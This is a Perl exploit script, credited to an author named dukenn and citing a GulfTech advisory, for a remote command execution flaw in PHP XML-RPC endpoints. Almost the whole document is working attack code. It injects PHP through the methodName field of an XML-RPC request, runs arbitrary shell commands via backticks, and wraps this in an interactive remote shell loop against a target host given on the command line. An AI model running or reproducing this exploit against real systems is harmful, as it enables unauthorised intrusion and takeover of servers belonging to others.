XMLRPC remote commands execute exploit

[duk3nn () bk ru]

Advisory : http://gulftech.org/?node=research&article_id=00088-07022005

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#         Original advisory by http://gulftech.org/     #
#         Exploit coded by dukenn (http://asteam.org)   #
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#!/usr/bin/perl

use IO::Socket;

print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n";

if ($ARGV[0] && $ARGV[1])
{
 $host = $ARGV[0];
 $xml = $ARGV[1];
 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
 while (1) {
    print '['.$host.']# ';
    $cmd = <STDIN>;
    chop($cmd);
    last if ($cmd eq 'exit');
     {
      $xmldata = "<?xml 
version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo 
'_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*</name></value></param></params></methodCall>";
      print $sock "POST ".$xml." HTTP/1.1\n";
      print $sock "Host: ".$host."\n";
      print $sock "Content-Type: text/xml\n";
      print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
      $good=0;
      while ($ans = <$sock>)
       {
        last if ($ans =~ /^_end_/);
        if ($good == 1) { print "$ans"; }
        if ($ans =~ /^_begin_/) { $good = 1; }
       }
      if ($good==0) {print "Exploit Failed";exit();}
     }
 }
}
else {
 print 'Usage: perl xml.pl target.com /somescript/xmlrpc.php\n';
exit;
}